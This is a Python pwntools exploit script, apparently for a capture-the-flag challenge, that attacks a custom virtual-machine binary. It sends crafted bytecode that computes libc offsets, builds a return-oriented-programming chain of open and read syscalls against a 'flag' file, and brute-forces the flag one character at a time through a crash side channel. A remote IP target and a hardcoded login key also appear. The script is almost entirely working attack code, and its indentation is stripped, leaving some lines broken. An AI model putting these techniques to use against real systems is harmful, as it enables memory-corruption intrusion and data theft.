from pwn import *
import string
local_file = './vm'
elf = ELF(local_file)
libc=ELF('libc-2.31.so')
context.arch = elf.arch
context.terminal = ['tmux','neww']
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
get_q = lambda data: (~np.uint64(data) + 1)
get_d = lambda data: (~np.uint32(data) + 1)
def get_sh() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
info_addr = lambda tag, addr :io.info(tag + '==>' +': {:#x}'.format(addr))
itr = lambda :io.interactive()
is_debug = 1
if is_debug:
libc = elf.libc
else:
io = remote('8.147.128.187',0)
libc = elf.libc
def debug(cmd=):
if is_debug: gdb.attach(io,cmd)
pause()
def reg1add(i):
return b'\x61'+p8(1)+p8(1)+p64(i)
def reg0add(i):
return b'\x61'+p8(1)+p8(0)+p64(i)
def regnadd(n,i):
return b'\x61'+p8(1)+p8(n)+p64(i)
def reg1sub(i):
return b'\x63'+p8(1)+p8(1)+p64(i)
def reg0sub(i):
return b'\x63'+p8(1)+p8(0)+p64(i)
def regnsub(n,i):
return b'\x63'+p8(1)+p8(n)+p64(i)
def reg2add(i):
return b'\x61'+p8(1)+p8(2)+p64(i)
def reg3add(i):
return b'\x61'+p8(1)+p8(3)+p64(i)
def reg4add(i):
return b'\x61'+p8(1)+p8(4)+p64(i)
def reg5add(i):
return b'\x61'+p8(1)+p8(5)+p64(i)
def reg6add(i):
return b'\x61'+p8(1)+p8(6)+p64(i)
def reg2sub(i):
return b'\x63'+p8(1)+p8(2)+p64(i)
def reg5sub(i):
return b'\x63'+p8(1)+p8(5)+p64(i)
def reg6sub(i):
return b'\x63'+p8(1)+p8(6)+p64(i)
def reg7sub(i):
return b'\x63'+p8(1)+p8(7)+p64(i)
def reg3sub(i):
return b'\x63'+p8(1)+p8(3)+p64(i)
def regn_reg1(i):
return b'\x61'+p8(0)+p8(i)+p8(1)
def regn_reg0(i):
return b'\x61'+p8(0)+p8(i)+p8(0)
def regn_regi_addr(n,i):
return b'\x12'+p8(8)+p8(n)+p8(i)
def addr_regn_regi_(n,i):
return b'\x12'+p8(16)+p8(n)+p8(i)
def reg5(i):
return b'\x12'+p8(1)+p8(5)+p64(i)
def ropr(offest):
return reg3add(offest)+addr_regn_regi_(2,3)+reg2add(8)+reg3sub(offest)
def ropregs(offest):
return reg6add(offest)+addr_regn_regi_(2,6)+reg2add(8)+reg6sub(offest)
def readrsi():
return addr_regn_regi_(2,0)+reg2add(8)
def rop_addr_reg(i):
return addr_regn_regi_(2,i)+reg2add(8)
def roper(offest):
return reg5add(offest)+addr_regn_regi_(2,5)+reg2add(8)+reg5sub(offest)
def flag():
return b'\x12'+p8(16)+p8(2)+p8(0)+reg2add(8)
def pwn(str,i):
ru('cmd:')
key='n9q'
keystr=f"LOGIN:root\nxxxxx:&&h3r3_1s_y0u2_G1ft!&&A{key}\nDONE & EXIT"
sl(keystr)
push=b'\xb4\x01'+p64(1)
pushreg=b'\xb4\x01'+p64(0)+p8(1)
rdi=0x0000000000023b6a
rsi=0x000000000002601f
rax=0x0000000000036174
rdx=0x0000000000142c92
syscall=0x630A9
ret=0x0000000000022679
strncmp=0x184010
ru('Man!what can I say?hahaha:\n')
code=b'\x14'+p32(0x600)+p8(0x12)+p8(4)+p8(1)+p8(14) +p8(0x12)+p8(4)+p8(0)+p8(8)
code+=reg1sub(0x1ed010)
code+=reg0sub(0x1190-0x20)
code+=reg4add(0x67616c662f)
code+=regn_reg0(7)
code+=reg7sub(0x30)
code+=reg5(ord(str))
code+=addr_regn_regi_(7,5)
code+=reg5(0x0)
code+=regn_reg1(2)
code+=regn_reg1(3)
code+=reg2add(0x1ef600)
code+=regn_regi_addr(2,2)
code+=reg2sub(0x100)
code+=ropr(rax)+ropregs(2)+ropr(rdi)+flag()+ropr(rsi)+ropregs(0)+ropr(rdx)+ropregs(0)+ropr(syscall)
code+=ropr(rax)+ropregs(0)+ropr(rdi)+ropregs(3)+ropr(rsi)+rop_addr_reg(0)+ropr(rdx)+roper(0x30)+ropr(syscall)
code+=ropr(rdi)+rop_addr_reg(7)
code+=reg0add(i)
code+=ropr(rsi)+rop_addr_reg(0)
code+=ropr(rdx)+roper(0x1)
code+=ropr(strncmp)+ ropr(rdi)+ropregs(0)+ropr(rsi)+rop_addr_reg(0)+ropr(rdx)+roper(0x30)+ropr(syscall)
s(code)
visible_characters = string.printable[:-6]
Flag =''
tmp = 0
while True:
if Flag[-1:] == '}':
print(Flag)
break
for char in visible_characters:
print(f"offset --{tmp} --{char}")
try:
io = process(local_file)
pwn(char, tmp)
response = io.recv(6, timeout=2)
io.close()
Flag += char
tmp += 1
print('find:')
print(Flag)
io.close()
break
except EOFError:
print("EOFError")
io.close()